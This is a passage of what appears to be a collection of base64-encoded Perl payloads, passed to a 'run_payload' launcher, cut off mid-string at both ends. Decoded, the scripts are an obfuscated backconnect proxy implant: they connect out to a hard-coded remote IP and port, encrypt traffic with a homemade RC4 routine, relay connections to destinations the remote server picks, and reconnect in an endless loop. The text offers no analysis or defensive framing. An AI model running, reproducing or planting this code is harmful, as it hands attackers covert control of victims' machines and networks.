yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_49.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTkxJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhd